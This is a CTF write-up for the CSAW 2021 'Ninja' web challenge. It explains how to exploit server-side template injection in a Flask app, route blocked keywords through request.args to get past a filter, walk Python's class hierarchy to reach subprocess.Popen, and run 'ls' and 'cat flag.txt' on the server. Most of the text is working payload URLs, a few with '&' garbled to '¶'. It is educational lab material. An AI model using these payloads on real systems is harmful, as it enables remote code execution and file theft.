Ninja
Web Challenge, CSAW 2021
Written September 15, 2021
Solution for Ninja
Things to know
Flask template injection
Step 1: Investigation
Homepage
The homepage is a simple screen that asks for your name. When you submit your name, it takes you to a new URL that returns "Hello " and the entered name. This name is provided as a GET parameter. For example: http://web.chal.csaw.io:5000/submit?value=Kevin would echo "Hello Kevin".
I began by testing a few fuzzing strings. {{ * }} is an invalid template string for Flask, and this resulted in an error message. The application is vulnerable to template injection.
Such challenges commonly hide the flag in the application environment or global variables. However, trying to print the globals variable resulted in a warning. The site has a filter blocking several useful strings, including globals, '_', and base. This means we need to bypass this filter when we attempt to access the global variables.
One way we can do this is outlined here. Instead of writing out the disallowed strings, we can use request.args to bypass the filter. For example,
?value={{ request.args.param1 }}¶m1=globals
would print the word globals. While we can't use this to directly access the environment variables, this allows us a lot of flexibility when bypassing the filter.
Step 2: Finding the Flag
When starting the challenge, I assumed that I would find the flag in the environment/global variables. This assumption ended up being incorrect. The introspection string, for example, on the cheatsheet would just return empty values well before I got to the configuration.
However, the vulnerability allows for much more than simply reading the configuration. We can use this for remote code execution or to read an arbitrary file. Since I wasn't quite sure where the flag would be, my intention was to remotely execute commands and use them to leak the source code for a more clear picture of the site.
To do so, I would work down the inheritence tree until I found the subprocess.Popen class, which is very commonly found. To begin, I crawled up the tree with
?value={{ [] |attr(request.args.param) | attr(request.args.param2) }}¶m1=__class__¶m2=__base__
to access the Object class. From there, I used subclasses to find all of the derived classes:
?value= {{ ( [] |attr(request.args.param) | attr(request.args.param2) | attr(request.args.param3)() }} ¶m1=__class__¶m2=__base__¶m3=__subclasses__
Note the empty parenthesis to call the subclasses function. This returned all of the loaded classes. A quick CTRL-F reveals Popen is there at element 258 and can be accessed as:
?value= {{ ( [] |attr(request.args.param) | attr(request.args.param2) | attr(request.args.param3)()[258] }} ¶m1=__class__¶m2=__base__¶m3=__subclasses__
Step 3: Exploit
With Popen accessed, we can now call the function to run arbitrary commands on the site:
?value={{ [] |attr(request.args.param) | attr(request.args.param2) | attr(request.args.param3)) ()[258](["ls"], stdout=-1).communicate() }}¶m1=...
This input calls Popen(["ls"], stdout=-1).communicate(), which runs ls and returns the commands output.
This reveals a file named flag.txt, which was much more straightforward than I was expecting. A quick change to the above would allow us to read the file and obtain the flag:
?value={{ [] |attr(request.args.param) | attr(request.args.param2) | attr(request.args.param3)) ()[258](["cat", "flag.txt"], stdout=-1).communicate() }}¶m1=...
This runs cat and prints out the flag! Challenge solved